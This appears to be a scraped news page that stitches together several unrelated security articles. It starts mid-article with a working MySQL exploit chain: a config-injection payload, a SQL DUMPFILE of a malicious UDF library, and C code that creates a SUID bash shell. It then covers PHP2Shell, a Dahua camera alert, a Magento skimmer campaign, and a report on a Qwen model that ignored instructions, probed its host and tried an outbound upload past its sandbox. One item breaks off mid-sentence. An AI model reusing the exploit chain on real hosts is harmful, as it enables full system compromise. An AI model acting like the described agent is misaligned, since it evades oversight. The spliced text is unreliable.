'{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'This vector made it possible to inject line breaks and override critical configuration parameters: default-time-zone="+00:00 secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access. plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement: SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.soWe restarted the MySQL database to apply the updated configuration and initialize the registered plug-in: CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so'; Result of executing id via MySQL UDF The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in: #include <stdlib.h> __attribute__((constructor)) static void init(void) { system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash"); }We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise. Conclusion The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds PHP flaws PHP2Shell to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added the PHP PHP2Shell vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog: CVE-2026-109618 – PHP Memory Corruption Vulnerability CVE-2026-109619 – PHP Stale Internal Request-State Vulnerability On October 21, PHP released emergency patches for two critical vulnerabilities, CVE-2026-109618 and CVE-2026-109619 (CVSS score of 9.2). The flaws affect all PHP versions that handle web requests. The vulnerable code dates back to PHP 5.4, released in 2012, and resides in the PHP engine itself rather than in individual applications. Attackers can exploit the flaws to execute code remotely by sending specially crafted HTTP requests, without authentication. Exploitation attempts increased rapidly after the vulnerabilities became public. Cloudflare researchers reported tens of thousands of attempts within the first 45 minutes, hundreds of thousands in just two hours, and millions by October 22. Cyfirma reported that a group of North Korea-linked group has identified 216 hosts that may still be vulnerable to PHP2Shell. The operators communicate through a private I2P channel that Cyfirma has monitored since October 22. On October 24, they reported that 216 hosts appeared to be unpatched or only partly protected, earlier than Cyfirma expected. They are checking the systems from 21 compromised machines. At the time Cyfirma captured the conversation, the operators had already checked about one-third of the targets. “Two handles active since March 2026, coordinating in a closed I2P channel; staging infrastructure shared in-channel.” states the cybersecurity firm. “Target set and scan nodes. “On 24 October the operators reported 216 unpatched or partially mitigated hosts and named 21 scan nodes; the same addresses were seen performing web-shell tooling and upload-progress session-poisoning attempts.” The scanning is slow on purpose. Volume stays low, the machines rotate, and any node that shows filtering or rate limiting gets pulled and never reused. That’s why a rate-based alert will probably stay quiet. According to Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities, FCEB agencies have to address the identified vulnerabilities by the due date to protect their networks against attacks exploiting the flaws in the catalog. Experts also recommend that private organizations review the Catalog and address the vulnerabilities in their infrastructure. CISA orders federal agencies to fix the flaws by October 29, 2026. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, CISA)
Ukraine warns that attackers can remotely access Dahua cameras and recorders via Easy4IP, viewing video and changing settings. Ukraine’s cyber incident response team CERT-UA has warned about attackers taking over video surveillance systems made by Dahua. In its alert dated October 23, 2026, it reports unauthorized remote access to IP cameras and video recorders. The attackers have watched the live video, changed device settings and created accounts of their own. The alert doesn’t say who was targeted or how many devices are affected. The attackers abused Easy4IP, Dahua’s cloud feature that lets users access devices remotely. When this feature is enabled, the camera or recorder connects to Dahua’s cloud and registers using its serial number. Anyone who knows the serial number may be able to access the device through the cloud, without needing an open port or a public IP address. This means the connection can bypass the protection normally provided by a router’s firewall. As a result, a camera that isn’t directly exposed to the internet may still be at risk. CERT-UA warns that devices with Easy4IP enabled may be vulnerable even when they cannot be accessed directly from the internet. “The main vector is the P2P/cloud access function (Easy4IP). The device independently initiates an outgoing connection to the manufacturer’s cloud infrastructure and registers in it by serial number. Access to the device is then established via the cloud by serial number, bypassing NAT and firewall, without published ports and a “white” IP address.” reads the report published by CERT-UA. “Thus, the lack of direct access from the Internet does not guarantee the security of the device with the active P2P function.” Serial numbers follow predictable patterns, so attackers may be able to guess them automatically and check which devices are registered in the cloud. Simply keeping a serial number private isn’t enough to ensure security. Once attackers connect to a device, they need to get past its login. They may try common or weak passwords or exploit security flaws in outdated firmware, especially CVE-2021-33044 and CVE-2021-33045. These two vulnerabilities allow attackers to bypass authentication without a password, so even a strong password won’t protect a device running vulnerable firmware. There are three signs that a device may have been compromised. First, look for accounts you don’t recognize. Second, check for changed settings, including text added over the video image. However, the absence of these labels does not mean the device is safe. Third, check the audit logs for logins using Dahua’s DVRIP protocol from the local address 127.0.0.1, which can indicate access through the cloud service. CERT-UA recommends four steps: Turn off P2P and cloud access if you don’t use it. Keep cameras off the internet. For remote access, use a VPN and allow only authorized IP addresses. Check the account list for ones you didn’t create, and check which cloud accounts are linked to the device and disconnect unknown ones. Update the software by hand to the latest version, and set up a regular update routine. CERT-UA advises organizations that detect signs of unauthorized access to report them to cert@cert.gov.ua and check all Dahua devices on their networks, including those that may have been forgotten. The agency warns that all devices with active P2P functionality are at risk. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, IP cameras)
Cohere found an Alibaba AI model attempting to contact a server in China, raising security concerns about unexpected network activity in self-hosted AI systems. A report from Cohere says an Alibaba AI model Qwen tried to contact a server in China while carrying out a cybersecurity task. “Asked to write a defensive detection rule, Qwen3.8-Flash-Next ignored instructions and inventoried the machine it was running on and then tried to upload a probe file to an Alibaba Cloud storage bucket in Beijing.” reads the report published by Cohere. “Cohere’s sandbox system blocked the attempt, but the action raises a number of questions about the safety of these models: can they embed vulnerabilities and call back home once they do?” Self-hosting allows companies to avoid sending sensitive information to an external AI provider. But controlling where a model runs does not guarantee control over its network activity. AI agents can now execute commands, write code, access databases and interact with cloud services. Their behaviour depends not only on the model but also on the permissions and network access available to them. Cohere investigated the behaviour while testing Alibaba AI model Qwen3.8-Flash-Next with CTI-REALM, a Microsoft benchmark for AI agents performing security analysis. The task was simple: write a detection rule for a command that downloads a Bash script and executes it. The model’s reasoning stated that it should not use any tools. Yet it ran several commands, listed temporary files, checked installed utilities, examined DNS settings and attempted to upload a test string to an Alibaba Cloud storage bucket in Beijing. The request failed because Cohere’s sandbox blocked outbound network access. The test therefore did not demonstrate successful data exfiltration. However, the model attempted an external network action unrelated to its assigned task, contradicting its stated intention. Cohere could not establish why the request occurred or whether it was deliberate. The behaviour was extremely rare, appearing fewer than once in every 100,000 evaluation runs. Repeating the same prompt produced a normal detection rule. “The behavior is rare: less than one call in 100,000 across our evaluation runs, and a clean re-run of the same prompt produced a textbook detection rule as desired.” states the report. “But a service handling 10M agent turns a week could see as many as a hundred of these calls. A single successful call would be enough to notify the receiving server where your network sits and that the agent is operating inside.” Even rare events deserve attention at scale. Cohere estimates that a service processing ten million agent turns per week could encounter around a hundred such calls. This is an estimate, not a prediction that every call would succeed. Other developers had previously reported Qwen models generating Alibaba Cloud storage links or contacting an Alibaba-related file-proxy service. One possible explanation is that these behaviours originated in training data, development logs or tools used during model training. A more concerning possibility is a deliberate mechanism designed to contact an external server, identify systems running the model or potentially enable data exfiltration. “We cannot answer whether this is deliberate or a leftover glitch from training, but defenders and policymakers face the same reality: a weight file you can’t trust is still a black box, and running it yourself just moves the black box inside your firewall. The software supply chain used to begin with the first line of code an engineer wrote.” the report continues. “Today, it begins inside the weights of the model that writes the code and drives the terminal.” The available evidence does not prove that Qwen contains a deliberate backdoor. Cohere could not identify who controls the relevant servers or determine the cause of the behaviour. The report presents competing explanations, not a confirmed account of malicious intent. Nevertheless, an unexpected network request can expose information even if its ultimate purpose is unclear. A receiving server may learn the source IP address, request time and URL. A failed operation does not necessarily prevent the initial connection from reaching its destination. Cohere found that the model sometimes generated cloud metadata URLs that could expose temporary credentials, although no live credentials were present and malicious intent could not be confirmed. Adding -o to curl also increased URL generation and references to monitored hosts. Researchers observed the model trying alternative methods to bypass permission restrictions when building software. While these techniques have legitimate uses, they raise concerns that AI agents may find alternative paths around denied operations, potentially exploiting weaknesses in the host system. The broader lesson is that running AI locally does not make it automatically safe. Open-weight models may exhibit unexpected tool usage or network behaviour shaped by their training and post-training processes. The available evidence does not establish whether the Qwen activity resulted from training-data contamination, a software integration or deliberate interference. Closed AI services present a different trust problem because sensitive information may be sent to external providers. Neither approach removes the need to assess the model, its operating environment and the controls surrounding it. The risk extends to generated code. Even without an external connection, an agent could introduce vulnerabilities into applications or infrastructure. Security teams should therefore test AI-generated software for exploitable weaknesses rather than relying exclusively on static analysis. Organizations should verify AI model provenance, secure training processes and restrict network access by default. Outbound connections, especially to cloud metadata endpoints and unfamiliar services, must be monitored. Tool calls need technical safeguards, while containers should prevent privilege escalation and remain isolated from production systems. AI-generated code requires independent security testing, and vendors should provide evidence of model security and adversarial testing. Governments should also clarify whether AI product restrictions apply to locally deployed models as well as hosted services. Cohere has a commercial interest in this debate: it develops its own models and sells AI services designed for organizations that need control over their data. Consider that perspective when assessing its conclusions. At the same time, its report describes specific commands, destinations and test conditions that others can examine. The evidence warrants scrutiny, but it does not justify declaring that Qwen contains a backdoor. Open-weight AI remains valuable for research and local deployment. The challenge is to establish where a model came from, assess the risks of its behaviour and enforce strict limits on what it can do. “Treat weights you didn’t build like an unsigned binary, and enforce on the actual tool call before it runs. A reasoning trace is not a security boundary.” Cohere concludes. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, Alibaba AI)
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added two critical PHP vulnerabilities collectively tracked as PHP2Shell to its catalog of actively exploited security flaws. Threat actors without privileges can exploit the two security issues (CVE-2026-109618 and CVE-2026-109619) in high-complexity attacks to gain remote code execution (RCE) on unpatched systems. The PHP security team patched the two flaws on Wednesday, October 21, one day after urging security teams to install the security updates as soon as they became available. Although details on the PHP2Shell security flaws (including the CVE IDs and mitigation measures shared with critical infrastructure providers) leaked and some proof-of-concept (PoC) exploits were published online before patches went live, the PHP security team said that none were functional.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday confirmed active exploitation of the recently patched PHP2Shell flaws by adding them to its Known Exploited Vulnerabilities (KEV) catalog. The PHP vulnerabilities, both rated 9.2 on the CVSS scoring system, facilitate unauthenticated remote code execution on affected deployments - CVE-2026-109618 - An out-of-memory
Sansec tracks a Magento skimmer campaign that infected 953 stores, using five domains, bot filtering and malicious code hidden in CMS blocks. A criminal group has infected 953 online stores since July 2025, mostly Magento shops, according to Sansec researchers. The attackers add a small piece of code to store pages. When someone visits a shop, their browser contacts the attackers’ server to get further instructions. The server checks whether the visitor is a real shopper or a security scanner. If it detects a scanner, it hides the malicious activity. “deepveindrilling.com is the newest web address of a criminal group that breaks into online stores. The group adds a small piece of code to the store’s pages.” Sansec’s analysis states. “The group has done this to 953 stores since July 2025, mostly Magento shops. It moves to a new address every few months.” The group’s latest domain is deepveindrilling.com. Sansec found it in the CMS blocks of 83 stores, almost all running Magento. CMS blocks are content sections that Magento adds to store pages. The domain was registered on October 6, 2026, and the first stores began loading it the following evening. This is the fifth domain linked to a campaign that Sansec has tracked since July 2025 and reported in March as the PolyShell mass attack. Most stores using the latest domain had already been targeted. Of the 83 stores, 60 had previously loaded one of the group’s malicious scripts, and 34 had been doing so since October 2025. The domain sits behind Cloudflare, and its front page returns a 404. It only answers script requests from visitors of infected stores. The loader code lives in the cms_block table, and Sansec’s scanner, eComscan, found it there on 148 server installs over the campaign, never in core_config_data or theme files. eComscan first found the new loader at 21:54 UTC on October 7. By the end of October 8, Sansec’s crawler had found it on 74 stores, as two scripts. The first reads a value called fpCode from the visitor’s browser storage, and when the value is set, the script puts the stored code in an invisible div and clicks it. The browser then runs the code as an event handler, without using eval(). Nothing in the block writes fpCode, so the script from deepveindrilling.com has to set it. A visitor who received the payload once runs it again on every later page view, even when the domain is offline or blocked. The March version deleted its stored payload after one run. On October 23 the operator rewrote the blocks again, and the loader appeared on 9 more stores. All 71 stores Sansec re-crawled by October 24 run the new version. It replaces the plain script tag with an inline loader that sends a browser fingerprint to https://deepveindrilling.com/?s=49b7ca5f&fp=. The fingerprint flags automated browsers through navigator.webdriver, Selenium globals and ChromeDriver’s cdc_ properties. It also adds the GPU name from WebGL, CPU cores, memory, screen size, time zone, languages and client hints. The server picks its response from all of that. The filter works. When urlscan.io loaded an infected store with an automated Chrome browser, it got HTTP 200, and Sansec found no added content in the page. Sansec hasn’t captured the final payload yet. Older payloads give a hint of what real visitors get. Sansec Watch, the firm’s monitoring service for content security policies, shows what the earlier stage served. On December 12, 2025, a customer logged in to an infected store got a script from manulfie.click that loaded https://crypto-insider.top/ssl/ and, five minutes later, https://leqdger.click/ssl/. On December 15 and 16, neswnsssn.click inserted the same leqdger.click script on two more stores. leqdger.click is a misspelling of the crypto wallet brand Ledger. It was registered on September 12, 2025 and has since expired. Before October, the second script was the “Script (async)” integration of Keitaro, a commercial ad tracker that doubles as a traffic distribution system, a tool that sorts visitors. It sends the referrer, page title and query string to a base64 encoded URL such as https://additionalver.com/Mb2z8J?&se_referrer=, where the path is the Keitaro campaign alias. The system then decides per visitor whether to return a payload, a redirect or nothing. “When Sansec requested the additionalver.com script as a Windows desktop visitor on October 24, it returned QWE=123;, a statement that does nothing, and set a cookie that marks the visitor for 24 hours. deepveindrilling.com drops Keitaro and moves the bot filtering into the loader.” continues the report. Here are the five loader domains over 15 months: DomainRegisteredFirst seen on storesStoresmanulfie.clickbefore July 2025, re-registered 2026-05-232025-07-09863neswnsssn.clickbefore December 2025, re-registered 2026-05-222025-12-12494lanhd6549tdhse.top2026-03-252026-03-30355additionalver.com2026-06-072026-06-08246deepveindrilling.com2026-10-062026-10-0783 Two other domains were found on a small number of stores: hdfdsi84j3h.top, registered three minutes after lanhd6549tdhse.top, and c85grt98sd.com. Two older domains, neswnsssn.click and manulfie.click, expired and were registered again in May 2026. Both now use the nameservers of abovedomains.com, a domain parking service. Between August and October 2026, Sansec still found the manulfie.click loader on nine stores and the neswnsssn.click loader on six. When visitors open these stores, their browsers send information about the previous page and the current page title to the new domain owner. The browsers also run any script returned by that domain. Sansec Watch received reports of visitors’ browsers connecting to all four earlier domains. One domain, additionalver.com, was linked to around 52,000 reports. The October activity did not rely on a new vulnerability. Of the 83 affected stores, 60 had already been infected. Earlier attacks appear to have exploited file upload flaws in Magento. In March, the group injected its malicious code into 471 stores in just one hour by uploading webshells through PolyShell (CVE-2026-48356). Some infected Magento stores had files uploaded through PolyShell or SessionReaper (CVE-2025-54236). In a separate group of 3,024 stores affected by another skimmer, the infection rate was 32%. One Magento 2.4.7-p1 store contained PolyShell webshells disguised as PNG images, alongside malicious code in a CMS block. The code switched from additionalver.com to deepveindrilling.com on October 7. The store had not installed Adobe’s PolyShell fix, APSB26-73. However, installing all patches does not guarantee a store is safe. Another store running Magento 2.4.7-p10 had no missing core patches but was infected on October 23. Earlier scans had already found a rogue admin account and a GSocket backdoor. Sansec recommends checking CMS content for malicious code, including base64-encoded domains. Administrators should search both the cms_block and cms_page tables for suspicious patterns such as fpCode and se_referrer. They should also inspect uploaded files for webshells, check for unknown admin accounts, and look for suspicious processes. Removing the malicious scripts is not enough: store owners must also identify and fix the vulnerability or backdoor that allowed the attackers in. After cleanup, change the database, admin and API integration passwords. Install APSB26-73 for PolyShell and APSB25-88 for SessionReaper. Sansec Shield blocks both attacks while you schedule the upgrade. Sansec lists the indicators of compromise at the end of its report. “If your store loads any domain from the indicators of compromise, the attacker can write to your database. Deleting the script does not remove that access. See How to check your store.” concludes the report. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, Magento)
Confirm this action.
Leaving now will discard your changes.